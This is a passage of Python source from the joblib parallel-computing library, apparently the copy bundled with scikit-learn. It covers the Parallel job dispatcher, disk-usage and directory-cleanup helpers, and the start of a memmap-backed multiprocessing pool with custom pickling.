    if mp is None:
        return 1
    return mp.cpu_count()


###############################################################################
# For verbosity

def _verbosity_filter(index, verbose):
    """ Returns False for indices increasingly apart, the distance
        depending on the value of verbose.

        We use a lag increasing as the square of index
    """
    if not verbose:
        return True
    elif verbose > 10:
        return False
    if index == 0:
        return False
    verbose = .5 * (11 - verbose) ** 2
    scale = sqrt(index / verbose)
    next_scale = sqrt((index + 1) / verbose)
    return (int(next_scale) == int(scale))


###############################################################################
def delayed(function, check_pickle=True):
    """Decorator used to capture the arguments of a function.

    Pass `check_pickle=False` when:

    - performing a possibly repeated check is too costly and has been done
      already once outside of the call to delayed.

    - when used in conjunction `Parallel(backend='threading')`.

    """
    # Try to pickle the input function, to catch the problems early when
    # using with multiprocessing:
    if check_pickle:
        pickle.dumps(function)

    def delayed_function(*args, **kwargs):
        return function, args, kwargs
    try:
        delayed_function = functools.wraps(function)(delayed_function)
    except AttributeError:
        " functools.wraps fails on some callable objects "
    return delayed_function


###############################################################################
class BatchCompletionCallBack(object):
    """Callback used by joblib.Parallel's multiprocessing backend.

    This callable is executed by the parent process whenever a worker process
    has returned the results of a batch of tasks.

    It is used for progress reporting, to update estimate of the batch
    processing duration and to schedule the next batch of tasks to be
    processed.

    """
    def __init__(self, dispatch_timestamp, batch_size, parallel):
        self.dispatch_timestamp = dispatch_timestamp
        self.batch_size = batch_size
        self.parallel = parallel

    def __call__(self, out):
        self.parallel.n_completed_tasks += self.batch_size
        this_batch_duration = time.time() - self.dispatch_timestamp

        self.parallel._backend.batch_completed(self.batch_size,
                                               this_batch_duration)
        self.parallel.print_progress()
        if self.parallel._original_iterator is not None:
            self.parallel.dispatch_next()


###############################################################################
def register_parallel_backend(name, factory, make_default=False):
    """Register a new Parallel backend factory.

    The new backend can then be selected by passing its name as the backend
    argument to the Parallel class. Moreover, the default backend can be
    overwritten globally by setting make_default=True.

    The factory can be any callable that takes no argument and return an
    instance of ``ParallelBackendBase``.

    Warning: this function is experimental and subject to change in a future
    version of joblib.

    .. versionadded:: 0.10

    """
    BACKENDS[name] = factory
    if make_default:
        global DEFAULT_BACKEND
        DEFAULT_BACKEND = name


def effective_n_jobs(n_jobs=-1):
    """Determine the number of jobs that can actually run in parallel

    n_jobs is the is the number of workers requested by the callers.
    Passing n_jobs=-1 means requesting all available workers for instance
    matching the number of CPU cores on the worker host(s).

    This method should return a guesstimate of the number of workers that can
    actually perform work concurrently with the currently enabled default
    backend. The primary use case is to make it possible for the caller to know
    in how many chunks to slice the work.

    In general working on larger data chunks is more efficient (less
    scheduling overhead and better use of CPU cache prefetching heuristics)
    as long as all the workers have enough work to do.

    Warning: this function is experimental and subject to change in a future
    version of joblib.

    .. versionadded:: 0.10

    """
    backend, _ = get_active_backend()
    return backend.effective_n_jobs(n_jobs=n_jobs)


###############################################################################
class Parallel(Logger):
    ''' Helper class for readable parallel mapping.

        Parameters
        -----------
        n_jobs: int, default: 1
            The maximum number of concurrently running jobs, such as the number
            of Python worker processes when backend="multiprocessing"
            or the size of the thread-pool when backend="threading".
            If -1 all CPUs are used. If 1 is given, no parallel computing code
            is used at all, which is useful for debugging. For n_jobs below -1,
            (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all
            CPUs but one are used.
        backend: str or None, default: 'multiprocessing'
            Specify the parallelization backend implementation.
            Supported backends are:
              - "multiprocessing" used by default, can induce some
                communication and memory overhead when exchanging input and
                output data with the worker Python processes.
              - "threading" is a very low-overhead backend but it suffers
                from the Python Global Interpreter Lock if the called function
                relies a lot on Python objects. "threading" is mostly useful
                when the execution bottleneck is a compiled extension that
                explicitly releases the GIL (for instance a Cython loop wrapped
                in a "with nogil" block or an expensive call to a library such
                as NumPy).
              - finally, you can register backends by calling
                register_parallel_backend. This will allow you to implement
                a backend of your liking.
        verbose: int, optional
            The verbosity level: if non zero, progress messages are
            printed. Above 50, the output is sent to stdout.
            The frequency of the messages increases with the verbosity level.
            If it more than 10, all iterations are reported.
        timeout: float, optional
            Timeout limit for each task to complete.  If any task takes longer
            a TimeOutError will be raised. Only applied when n_jobs != 1
        pre_dispatch: {'all', integer, or expression, as in '3*n_jobs'}
            The number of batches (of tasks) to be pre-dispatched.
            Default is '2*n_jobs'. When batch_size="auto" this is reasonable
            default and the multiprocessing workers should never starve.
        batch_size: int or 'auto', default: 'auto'
            The number of atomic tasks to dispatch at once to each
            worker. When individual evaluations are very fast, multiprocessing
            can be slower than sequential computation because of the overhead.
            Batching fast computations together can mitigate this.
            The ``'auto'`` strategy keeps track of the time it takes for a batch
            to complete, and dynamically adjusts the batch size to keep the time
            on the order of half a second, using a heuristic. The initial batch
            size is 1.
            ``batch_size="auto"`` with ``backend="threading"`` will dispatch
            batches of a single task at a time as the threading backend has
            very little overhead and using larger batch size has not proved to
            bring any gain in that case.
        temp_folder: str, optional
            Folder to be used by the pool for memmaping large arrays
            for sharing memory with worker processes. If None, this will try in
            order:
            - a folder pointed by the JOBLIB_TEMP_FOLDER environment variable,
            - /dev/shm if the folder exists and is writable: this is a RAMdisk
              filesystem available by default on modern Linux distributions,
            - the default system temporary folder that can be overridden
              with TMP, TMPDIR or TEMP environment variables, typically /tmp
              under Unix operating systems.
            Only active when backend="multiprocessing".
        max_nbytes int, str, or None, optional, 1M by default
            Threshold on the size of arrays passed to the workers that
            triggers automated memory mapping in temp_folder. Can be an int
            in Bytes, or a human-readable string, e.g., '1M' for 1 megabyte.
            Use None to disable memmaping of large arrays.
            Only active when backend="multiprocessing".
        mmap_mode: {None, 'r+', 'r', 'w+', 'c'}
            Memmapping mode for numpy arrays passed to workers.
            See 'max_nbytes' parameter documentation for more details.

        Notes
        -----

        This object uses the multiprocessing module to compute in
        parallel the application of a function to many different
        arguments. The main functionality it brings in addition to
        using the raw multiprocessing API are (see examples for details):

            * More readable code, in particular since it avoids
              constructing list of arguments.

            * Easier debugging:
                - informative tracebacks even when the error happens on
                  the client side
                - using 'n_jobs=1' enables to turn off parallel computing
                  for debugging without changing the codepath
                - early capture of pickling errors

            * An optional progress meter.

            * Interruption of multiprocesses jobs with 'Ctrl-C'

            * Flexible pickling control for the communication to and from
              the worker processes.

            * Ability to use shared memory efficiently with worker
              processes for large numpy-based datastructures.

        Examples
        --------

        A simple example:

        >>> from math import sqrt
        >>> from sklearn.externals.joblib import Parallel, delayed
        >>> Parallel(n_jobs=1)(delayed(sqrt)(i**2) for i in range(10))
        [0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0]

        Reshaping the output when the function has several return
        values:

        >>> from math import modf
        >>> from sklearn.externals.joblib import Parallel, delayed
        >>> r = Parallel(n_jobs=1)(delayed(modf)(i/2.) for i in range(10))
        >>> res, i = zip(*r)
        >>> res
        (0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5)
        >>> i
        (0.0, 0.0, 1.0, 1.0, 2.0, 2.0, 3.0, 3.0, 4.0, 4.0)

        The progress meter: the higher the value of `verbose`, the more
        messages::

            >>> from time import sleep
            >>> from sklearn.externals.joblib import Parallel, delayed
            >>> r = Parallel(n_jobs=2, verbose=5)(delayed(sleep)(.1) for _ in range(10)) #doctest: +SKIP
            [Parallel(n_jobs=2)]: Done   1 out of  10 | elapsed:    0.1s remaining:    0.9s
            [Parallel(n_jobs=2)]: Done   3 out of  10 | elapsed:    0.2s remaining:    0.5s
            [Parallel(n_jobs=2)]: Done   6 out of  10 | elapsed:    0.3s remaining:    0.2s
            [Parallel(n_jobs=2)]: Done   9 out of  10 | elapsed:    0.5s remaining:    0.1s
            [Parallel(n_jobs=2)]: Done  10 out of  10 | elapsed:    0.5s finished

        Traceback example, note how the line of the error is indicated
        as well as the values of the parameter passed to the function that
        triggered the exception, even though the traceback happens in the
        child process::

         >>> from heapq import nlargest
         >>> from sklearn.externals.joblib import Parallel, delayed
         >>> Parallel(n_jobs=2)(delayed(nlargest)(2, n) for n in (range(4), 'abcde', 3)) #doctest: +SKIP
         #...
         ---------------------------------------------------------------------------
         Sub-process traceback:
         ---------------------------------------------------------------------------
         TypeError                                          Mon Nov 12 11:37:46 2012
         PID: 12934                                    Python 2.7.3: /usr/bin/python
         ...........................................................................
         /usr/lib/python2.7/heapq.pyc in nlargest(n=2, iterable=3, key=None)
             419         if n >= size:
             420             return sorted(iterable, key=key, reverse=True)[:n]
             421
             422     # When key is none, use simpler decoration
             423     if key is None:
         --> 424         it = izip(iterable, count(0,-1))                    # decorate
             425         result = _nlargest(n, it)
             426         return map(itemgetter(0), result)                   # undecorate
             427
             428     # General case, slowest method

         TypeError: izip argument #1 must support iteration
         ___________________________________________________________________________


        Using pre_dispatch in a producer/consumer situation, where the
        data is generated on the fly. Note how the producer is first
        called a 3 times before the parallel loop is initiated, and then
        called to generate new data on the fly. In this case the total
        number of iterations cannot be reported in the progress messages::

         >>> from math import sqrt
         >>> from sklearn.externals.joblib import Parallel, delayed

         >>> def producer():
         ...     for i in range(6):
         ...         print('Produced %s' % i)
         ...         yield i

         >>> out = Parallel(n_jobs=2, verbose=100, pre_dispatch='1.5*n_jobs')(
         ...                         delayed(sqrt)(i) for i in producer()) #doctest: +SKIP
         Produced 0
         Produced 1
         Produced 2
         [Parallel(n_jobs=2)]: Done 1 jobs     | elapsed:  0.0s
         Produced 3
         [Parallel(n_jobs=2)]: Done 2 jobs     | elapsed:  0.0s
         Produced 4
         [Parallel(n_jobs=2)]: Done 3 jobs     | elapsed:  0.0s
         Produced 5
         [Parallel(n_jobs=2)]: Done 4 jobs     | elapsed:  0.0s
         [Parallel(n_jobs=2)]: Done 5 out of 6 | elapsed:  0.0s remaining: 0.0s
         [Parallel(n_jobs=2)]: Done 6 out of 6 | elapsed:  0.0s finished
    '''
    def __init__(self, n_jobs=1, backend=None, verbose=0, timeout=None,
                 pre_dispatch='2 * n_jobs', batch_size='auto',
                 temp_folder=None, max_nbytes='1M', mmap_mode='r'):
        active_backend, default_n_jobs = get_active_backend()
        if backend is None and n_jobs == 1:
            # If we are under a parallel_backend context manager, look up
            # the default number of jobs and use that instead:
            n_jobs = default_n_jobs
        self.n_jobs = n_jobs
        self.verbose = verbose
        self.timeout = timeout
        self.pre_dispatch = pre_dispatch

        if isinstance(max_nbytes, _basestring):
            max_nbytes = memstr_to_bytes(max_nbytes)

        self._backend_args = dict(
            max_nbytes=max_nbytes,
            mmap_mode=mmap_mode,
            temp_folder=temp_folder,
            verbose=max(0, self.verbose - 50),
        )
        if DEFAULT_MP_CONTEXT is not None:
            self._backend_args['context'] = DEFAULT_MP_CONTEXT

        if backend is None:
            backend = active_backend
        elif hasattr(backend, 'Pool') and hasattr(backend, 'Lock'):
            # Make it possible to pass a custom multiprocessing context as
            # backend to change the start method to forkserver or spawn or
            # preload modules on the forkserver helper process.
            self._backend_args['context'] = backend
            backend = MultiprocessingBackend()
        else:
            try:
                backend_factory = BACKENDS[backend]
            except KeyError:
                raise ValueError("Invalid backend: %s, expected one of %r"
                                 % (backend, sorted(BACKENDS.keys())))
            backend = backend_factory()

        if (batch_size == 'auto' or isinstance(batch_size, Integral) and
                batch_size > 0):
            self.batch_size = batch_size
        else:
            raise ValueError(
                "batch_size must be 'auto' or a positive integer, got: %r"
                % batch_size)

        self._backend = backend
        self._output = None
        self._jobs = list()
        self._managed_backend = False

        # This lock is used coordinate the main thread of this process with
        # the async callback thread of our the pool.
        self._lock = threading.Lock()

    def __enter__(self):
        self._managed_backend = True
        self._initialize_backend()
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self._terminate_backend()
        self._managed_backend = False

    def _initialize_backend(self):
        """Build a process or thread pool and return the number of workers"""
        try:
            return self._backend.configure(n_jobs=self.n_jobs, parallel=self,
                                           **self._backend_args)
        except FallbackToBackend as e:
            # Recursively initialize the backend in case of requested fallback.
            self._backend = e.backend
            return self._initialize_backend()

    def _effective_n_jobs(self):
        if self._backend:
            return self._backend.effective_n_jobs(self.n_jobs)
        return 1

    def _terminate_backend(self):
        if self._backend is not None:
            self._backend.terminate()

    def _dispatch(self, batch):
        """Queue the batch for computing, with or without multiprocessing

        WARNING: this method is not thread-safe: it should be only called
        indirectly via dispatch_one_batch.

        """
        # If job.get() catches an exception, it closes the queue:
        if self._aborting:
            return

        self.n_dispatched_tasks += len(batch)
        self.n_dispatched_batches += 1

        dispatch_timestamp = time.time()
        cb = BatchCompletionCallBack(dispatch_timestamp, len(batch), self)
        job = self._backend.apply_async(batch, callback=cb)
        self._jobs.append(job)

    def dispatch_next(self):
        """Dispatch more data for parallel processing

        This method is meant to be called concurrently by the multiprocessing
        callback. We rely on the thread-safety of dispatch_one_batch to protect
        against concurrent consumption of the unprotected iterator.

        """
        if not self.dispatch_one_batch(self._original_iterator):
            self._iterating = False
            self._original_iterator = None

    def dispatch_one_batch(self, iterator):
        """Prefetch the tasks for the next batch and dispatch them.

        The effective size of the batch is computed here.
        If there are no more jobs to dispatch, return False, else return True.

        The iterator consumption and dispatching is protected by the same
        lock so calling this function should be thread safe.

        """
        if self.batch_size == 'auto':
            batch_size = self._backend.compute_batch_size()
        else:
            # Fixed batch size strategy
            batch_size = self.batch_size

        with self._lock:
            tasks = BatchedCalls(itertools.islice(iterator, batch_size))
            if len(tasks) == 0:
                # No more tasks available in the iterator: tell caller to stop.
                return False
            else:
                self._dispatch(tasks)
                return True

    def _print(self, msg, msg_args):
        """Display the message on stout or stderr depending on verbosity"""
        # XXX: Not using the logger framework: need to
        # learn to use logger better.
        if not self.verbose:
            return
        if self.verbose < 50:
            writer = sys.stderr.write
        else:
            writer = sys.stdout.write
        msg = msg % msg_args
        writer('[%s]: %s\n' % (self, msg))

    def print_progress(self):
        """Display the process of the parallel execution only a fraction
           of time, controlled by self.verbose.
        """
        if not self.verbose:
            return
        elapsed_time = time.time() - self._start_time

        # Original job iterator becomes None once it has been fully
        # consumed : at this point we know the total number of jobs and we are
        # able to display an estimation of the remaining time based on already
        # completed jobs. Otherwise, we simply display the number of completed
        # tasks.
        if self._original_iterator is not None:
            if _verbosity_filter(self.n_dispatched_batches, self.verbose):
                return
            self._print('Done %3i tasks      | elapsed: %s',
                        (self.n_completed_tasks,
                         short_format_time(elapsed_time), ))
        else:
            index = self.n_completed_tasks
            # We are finished dispatching
            total_tasks = self.n_dispatched_tasks
            # We always display the first loop
            if not index == 0:
                # Display depending on the number of remaining items
                # A message as soon as we finish dispatching, cursor is 0
                cursor = (total_tasks - index + 1 -
                          self._pre_dispatch_amount)
                frequency = (total_tasks // self.verbose) + 1
                is_last_item = (index + 1 == total_tasks)
                if (is_last_item or cursor % frequency):
                    return
            remaining_time = (elapsed_time / index) * \
                             (self.n_dispatched_tasks - index * 1.0)
            # only display status if remaining time is greater or equal to 0
            self._print('Done %3i out of %3i | elapsed: %s remaining: %s',
                        (index,
                         total_tasks,
                         short_format_time(elapsed_time),
                         short_format_time(remaining_time),
                         ))

    def retrieve(self):
        self._output = list()
        while self._iterating or len(self._jobs) > 0:
            if len(self._jobs) == 0:
                # Wait for an async callback to dispatch new jobs
                time.sleep(0.01)
                continue
            # We need to be careful: the job list can be filling up as
            # we empty it and Python list are not thread-safe by default hence
            # the use of the lock
            with self._lock:
                job = self._jobs.pop(0)
            try:
                # check if timeout supported in backend future implementation
                if 'timeout' in getfullargspec(job.get).args:
                    self._output.extend(job.get(timeout=self.timeout))
                else:
                    self._output.extend(job.get())
            except BaseException as exception:
                # Note: we catch any BaseException instead of just Exception
                # instances to also include KeyboardInterrupt.

                # Stop dispatching any new job in the async callback thread
                self._aborting = True

                if isinstance(exception, TransportableException):
                    # Capture exception to add information on the local
                    # stack in addition to the distant stack
                    this_report = format_outer_frames(context=10,
                                                      stack_start=1)
                    report = """Multiprocessing exception:
%s
---------------------------------------------------------------------------
Sub-process traceback:
---------------------------------------------------------------------------
%s""" % (this_report, exception.message)
                    # Convert this to a JoblibException
                    exception_type = _mk_exception(exception.etype)[0]
                    exception = exception_type(report)

                # If the backends allows it, cancel or kill remaining running
                # tasks without waiting for the results as we will raise
                # the exception we got back to the caller instead of returning
                # any result.
                backend = self._backend
                if (backend is not None and
                        hasattr(backend, 'abort_everything')):
                    # If the backend is managed externally we need to make sure
                    # to leave it in a working state to allow for future jobs
                    # scheduling.
                    ensure_ready = self._managed_backend
                    backend.abort_everything(ensure_ready=ensure_ready)
                raise exception

    def __call__(self, iterable):
        if self._jobs:
            raise ValueError('This Parallel instance is already running')
        # A flag used to abort the dispatching of jobs in case an
        # exception is found
        self._aborting = False
        if not self._managed_backend:
            n_jobs = self._initialize_backend()
        else:
            n_jobs = self._effective_n_jobs()

        iterator = iter(iterable)
        pre_dispatch = self.pre_dispatch

        if pre_dispatch == 'all' or n_jobs == 1:
            # prevent further dispatch via multiprocessing callback thread
            self._original_iterator = None
            self._pre_dispatch_amount = 0
        else:
            self._original_iterator = iterator
            if hasattr(pre_dispatch, 'endswith'):
                pre_dispatch = eval(pre_dispatch)
            self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)

            # The main thread will consume the first pre_dispatch items and
            # the remaining items will later be lazily dispatched by async
            # callbacks upon task completions.
            iterator = itertools.islice(iterator, pre_dispatch)

        self._start_time = time.time()
        self.n_dispatched_batches = 0
        self.n_dispatched_tasks = 0
        self.n_completed_tasks = 0
        try:
            # Only set self._iterating to True if at least a batch
            # was dispatched. In particular this covers the edge
            # case of Parallel used with an exhausted iterator.
            while self.dispatch_one_batch(iterator):
                self._iterating = True
            else:
                self._iterating = False

            if pre_dispatch == "all" or n_jobs == 1:
                # The iterable was consumed all at once by the above for loop.
                # No need to wait for async callbacks to trigger to
                # consumption.
                self._iterating = False
            self.retrieve()
            # Make sure that we get a last message telling us we are done
            elapsed_time = time.time() - self._start_time
            self._print('Done %3i out of %3i | elapsed: %s finished',
                        (len(self._output), len(self._output),
                         short_format_time(elapsed_time)))
        finally:
            if not self._managed_backend:
                self._terminate_backend()
            self._jobs = list()
        output = self._output
        self._output = None
        return output

    def __repr__(self):
        return '%s(n_jobs=%s)' % (self.__class__.__name__, self.n_jobs)






"""
Disk management utilities.
"""

# Authors: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
#          Lars Buitinck
# Copyright (c) 2010 Gael Varoquaux
# License: BSD Style, 3 clauses.


import errno
import os
import shutil
import sys
import time


def disk_used(path):
    """ Return the disk usage in a directory."""
    size = 0
    for file in os.listdir(path) + ['.']:
        stat = os.stat(os.path.join(path, file))
        if hasattr(stat, 'st_blocks'):
            size += stat.st_blocks * 512
        else:
            # on some platform st_blocks is not available (e.g., Windows)
            # approximate by rounding to next multiple of 512
            size += (stat.st_size // 512 + 1) * 512
    # We need to convert to int to avoid having longs on some systems (we
    # don't want longs to avoid problems we SQLite)
    return int(size / 1024.)


def memstr_to_bytes(text):
    """ Convert a memory text to its value in bytes.
    """
    kilo = 1024
    units = dict(K=kilo, M=kilo ** 2, G=kilo ** 3)
    try:
        size = int(units[text[-1]] * float(text[:-1]))
    except (KeyError, ValueError):
        raise ValueError(
            "Invalid literal for size give: %s (type %s) should be "
            "alike '10G', '500M', '50K'." % (text, type(text)))
    return size


def mkdirp(d):
    """Ensure directory d exists (like mkdir -p on Unix)
    No guarantee that the directory is writable.
    """
    try:
        os.makedirs(d)
    except OSError as e:
        if e.errno != errno.EEXIST:
            raise


# if a rmtree operation fails in rm_subdirs, wait for this much time (in secs),
# then retry once. if it still fails, raise the exception
RM_SUBDIRS_RETRY_TIME = 0.1


def rm_subdirs(path, onerror=None):
    """Remove all subdirectories in this path.

    The directory indicated by `path` is left in place, and its subdirectories
    are erased.

    If onerror is set, it is called to handle the error with arguments (func,
    path, exc_info) where func is os.listdir, os.remove, or os.rmdir;
    path is the argument to that function that caused it to fail; and
    exc_info is a tuple returned by sys.exc_info().  If onerror is None,
    an exception is raised.
    """

    # NOTE this code is adapted from the one in shutil.rmtree, and is
    # just as fast

    names = []
    try:
        names = os.listdir(path)
    except os.error as err:
        if onerror is not None:
            onerror(os.listdir, path, sys.exc_info())
        else:
            raise

    for name in names:
        fullname = os.path.join(path, name)
        if os.path.isdir(fullname):
            if onerror is not None:
                shutil.rmtree(fullname, False, onerror)
            else:
                # allow the rmtree to fail once, wait and re-try.
                # if the error is raised again, fail
                err_count = 0
                while True:
                    try:
                        shutil.rmtree(fullname, False, None)
                        break
                    except os.error:
                        if err_count > 0:
                            raise
                        err_count += 1
                        time.sleep(RM_SUBDIRS_RETRY_TIME)






"""Custom implementation of multiprocessing.Pool with custom pickler.

This module provides efficient ways of working with data stored in
shared memory with numpy.memmap arrays without inducing any memory
copy between the parent and child processes.

This module should not be imported if multiprocessing is not
available as it implements subclasses of multiprocessing Pool
that uses a custom alternative to SimpleQueue.

"""
# Author: Olivier Grisel <olivier.grisel@ensta.org>
# Copyright: 2012, Olivier Grisel
# License: BSD 3 clause

from mmap import mmap
import errno
import os
import stat
import sys
import threading
import atexit
import tempfile
import shutil
import warnings
from time import sleep

try:
    WindowsError
except NameError:
    WindowsError = None

from pickle import whichmodule
try:
    # Python 2 compat
    from cPickle import loads
    from cPickle import dumps
except ImportError:
    from pickle import loads
    from pickle import dumps
    import copyreg

# Customizable pure Python pickler in Python 2
# customizable C-optimized pickler under Python 3.3+
from pickle import Pickler

from pickle import HIGHEST_PROTOCOL
from io import BytesIO

from ._multiprocessing_helpers import mp, assert_spawning
# We need the class definition to derive from it not the multiprocessing.Pool
# factory function
from multiprocessing.pool import Pool

try:
    import numpy as np
    from numpy.lib.stride_tricks import as_strided
except ImportError:
    np = None

from .numpy_pickle import load
from .numpy_pickle import dump
from .hashing import hash

# Some system have a ramdisk mounted by default, we can use it instead of /tmp
# as the default folder to dump big arrays to share with subprocesses
SYSTEM_SHARED_MEM_FS = '/dev/shm'

# Folder and file permissions to chmod temporary files generated by the
# memmaping pool. Only the owner of the Python process can access the
# temporary files and folder.
FOLDER_PERMISSIONS = stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR
FILE_PERMISSIONS = stat.S_IRUSR | stat.S_IWUSR

###############################################################################
# Support for efficient transient pickling of numpy data structures


def _get_backing_memmap(a):
    """Recursively look up the original np.memmap instance base if any."""
    b = getattr(a, 'base', None)
    if b is None:
        # TODO: check scipy sparse datastructure if scipy is installed
        # a nor its descendants do not have a memmap base
        return None

    elif isinstance(b, mmap):
        # a is already a real memmap instance.
        return a

    else:
        # Recursive exploration of the base ancestry
        return _get_backing_memmap(b)


def has_shareable_memory(a):
    """Return True if a is backed by some mmap buffer directly or not."""
    return _get_backing_memmap(a) is not None


def _strided_from_memmap(filename, dtype, mode, offset, order, shape, strides,
                         total_buffer_len):
    """Reconstruct an array view on a memory mapped file."""
    if mode == 'w+':
        # Do not zero the original data when unpickling
        mode = 'r+'

    if strides is None:
        # Simple, contiguous memmap
        return np.memmap(filename, dtype=dtype, shape=shape, mode=mode,
                         offset=offset, order=order)
    else:
        # For non-contiguous data, memmap the total enclosing buffer and then
        # extract the non-contiguous view with the stride-tricks API
        base = np.memmap(filename, dtype=dtype, shape=total_buffer_len,
                         mode=mode, offset=offset, order=order)
        return as_strided(base, shape=shape, strides=strides)


def _reduce_memmap_backed(a, m):
    """Pickling reduction for memmap backed arrays.

    a is expected to be an instance of np.ndarray (or np.memmap)
    m is expected to be an instance of np.memmap on the top of the ``base``
    attribute ancestry of a. ``m.base`` should be the real python mmap object.
    """
    # offset that comes from the striding differences between a and m
    a_start, a_end = np.byte_bounds(a)
    m_start = np.byte_bounds(m)[0]
    offset = a_start - m_start

    # offset from the backing memmap
    offset += m.offset

    if m.flags['F_CONTIGUOUS']:
        order = 'F'
    else:
        # The backing memmap buffer is necessarily contiguous hence C if not
        # Fortran
        order = 'C'

    if a.flags['F_CONTIGUOUS'] or a.flags['C_CONTIGUOUS']:
        # If the array is a contiguous view, no need to pass the strides
        strides = None
        total_buffer_len = None
    else:
        # Compute the total number of items to map from which the strided
        # view will be extracted.
        strides = a.strides
        total_buffer_len = (a_end - a_start) // a.itemsize
    return (_strided_from_memmap,
            (m.filename, a.dtype, m.mode, offset, order, a.shape, strides,
             total_buffer_len))


def reduce_memmap(a):
    """Pickle the descriptors of a memmap instance to reopen on same file."""
    m = _get_backing_memmap(a)
    if m is not None:
        # m is a real mmap backed memmap instance, reduce a preserving striding
        # information
        return _reduce_memmap_backed(a, m)
    else:
        # This memmap instance is actually backed by a regular in-memory
        # buffer: this can happen when using binary operators on numpy.memmap
        # instances
        return (loads, (dumps(np.asarray(a), protocol=HIGHEST_PROTOCOL),))


class ArrayMemmapReducer(object):
    """Reducer callable to dump large arrays to memmap files.

    Parameters
    ----------
    max_nbytes: int
        Threshold to trigger memmaping of large arrays to files created
        a folder.
    temp_folder: str
        Path of a folder where files for backing memmaped arrays are created.
    mmap_mode: 'r', 'r+' or 'c'
        Mode for the created memmap datastructure. See the documentation of
        numpy.memmap for more details. Note: 'w+' is coerced to 'r+'
        automatically to avoid zeroing the data on unpickling.
    verbose: int, optional, 0 by default
        If verbose > 0, memmap creations are logged.
        If verbose > 1, both memmap creations, reuse and array pickling are
        logged.
    prewarm: bool, optional, False by default.
        Force a read on newly memmaped array to make sure that OS pre-cache it
        memory. This can be useful to avoid concurrent disk access when the
        same data array is passed to different worker processes.
    """

    def __init__(self, max_nbytes, temp_folder, mmap_mode, verbose=0,
                 context_id=None, prewarm=True):
        self._max_nbytes = max_nbytes
        self._temp_folder = temp_folder
        self._mmap_mode = mmap_mode
        self.verbose = int(verbose)
        self._prewarm = prewarm
        if context_id is not None:
            warnings.warn('context_id is deprecated and ignored in joblib'
                          ' 0.9.4 and will be removed in 0.11',
                          DeprecationWarning)

    def __call__(self, a):
        m = _get_backing_memmap(a)
        if m is not None:
            # a is already backed by a memmap file, let's reuse it directly
            return _reduce_memmap_backed(a, m)

        if (not a.dtype.hasobject
                and self._max_nbytes is not None
                and a.nbytes > self._max_nbytes):
            # check that the folder exists (lazily create the pool temp folder
            # if required)
            try:
                os.makedirs(self._temp_folder)
                os.chmod(self._temp_folder, FOLDER_PERMISSIONS)
            except OSError as e:
                if e.errno != errno.EEXIST:
                    raise e

            # Find a unique, concurrent safe filename for writing the
            # content of this array only once.
            basename = "%d-%d-%s.pkl" % (
                os.getpid(), id(threading.current_thread()), hash(a))
            filename = os.path.join(self._temp_folder, basename)

            # In case the same array with the same content is passed several
            # times to the pool subprocess children, serialize it only once

            # XXX: implement an explicit reference counting scheme to make it
            # possible to delete temporary files as soon as the workers are
            # done processing this data.
            if not os.path.exists(filename):
                if self.verbose > 0:
                    print("Memmaping (shape=%r, dtype=%s) to new file %s" % (
                        a.shape, a.dtype, filename))
                for dumped_filename in dump(a, filename):
                    os.chmod(dumped_filename, FILE_PERMISSIONS)

                if self._prewarm:
                    # Warm up the data to avoid concurrent disk access in
                    # multiple children processes
                    load(filename, mmap_mode=self._mmap_mode).max()
            elif self.verbose > 1:
                print("Memmaping (shape=%s, dtype=%s) to old file %s" % (
                    a.shape, a.dtype, filename))

            # The worker process will use joblib.load to memmap the data
            return (load, (filename, self._mmap_mode))
        else:
            # do not convert a into memmap, let pickler do its usual copy with
            # the default system pickler
            if self.verbose > 1:
                print("Pickling array (shape=%r, dtype=%s)." % (
                    a.shape, a.dtype))
            return (loads, (dumps(a, protocol=HIGHEST_PROTOCOL),))


###############################################################################
# Enable custom pickling in Pool queues

class CustomizablePickler(Pickler):
    """Pickler that accepts custom reducers.

    HIGHEST_PROTOCOL is selected by default as this pickler is used
    to pickle ephemeral datastructures for interprocess communication
    hence no backward compatibility is required.

    `reducers` is expected to be a dictionary with key/values
    being `(type, callable)` pairs where `callable` is a function that
    give an instance of `type` will return a tuple `(constructor,
    tuple_of_objects)` to rebuild an instance out of the pickled
    `tuple_of_objects` as would return a `__reduce__` method. See the
    standard library documentation on pickling for more details.

    """

    # We override the pure Python pickler as its the only way to be able to
    # customize the dispatch table without side effects in Python 2.6
    # to 3.2. For Python 3.3+ leverage the new dispatch_table
    # feature from http://bugs.python.org/issue14166 that makes it possible
    # to use the C implementation of the Pickler which is faster.

    def __init__(self, writer, reducers=None, protocol=HIGHEST_PROTOCOL):
        Pickler.__init__(self, writer, protocol=protocol)
        if reducers is None:
            reducers = {}
        if hasattr(Pickler, 'dispatch'):
            # Make the dispatch registry an instance level attribute instead of
            # a reference to the class dictionary under Python 2
            self.dispatch = Pickler.dispatch.copy()
        else:
            # Under Python 3 initialize the dispatch table with a copy of the
            # default registry
            self.dispatch_table = copyreg.dispatch_table.copy()
        for type, reduce_func in reducers.items():
            self.register(type, reduce_func)

    def register(self, type, reduce_func):
        """Attach a reducer function to a given type in the dispatch table."""
        if hasattr(Pickler, 'dispatch'):
            # Python 2 pickler dispatching is not explicitly customizable.
            # Let us use a closure to workaround this limitation.
            def dispatcher(self, obj):
                reduced = reduce_func(obj)
                self.save_reduce(obj=obj, *reduced)
            self.dispatch[type] = dispatcher
        else:
            self.dispatch_table[type] = reduce_func


class CustomizablePicklingQueue(object):
    """Locked Pipe implementation that uses a customizable pickler.

    This class is an alternative to the multiprocessing implementation
    of SimpleQueue in order to make it possible to pass custom
    pickling reducers, for instance to avoid memory copy when passing
    memory mapped datastructures.

    `reducers` is expected to be a dict with key / values being
    `(type, callable)` pairs where `callable` is a function that, given an
    instance of `type`, will return a tuple `(constructor, tuple_of_objects)`
    to rebuild an instance out of the pickled `tuple_of_objects` as would
    return a `__reduce__` method.

    See the standard library documentation on pickling for more details.
    """

    def __init__(self, context, reducers=None):
        self._reducers = reducers
        self._reader, self._writer = context.Pipe(duplex=False)
        self._rlock = context.Lock()
        if sys.platform == 'win32':
            self._wlock = None
        else:
            self._wlock = context.Lock()
        self._make_methods()

    def __getstate__(self):
        assert_spawning(self)
        return (self._reader, self._writer, self._rlock, self._wlock,
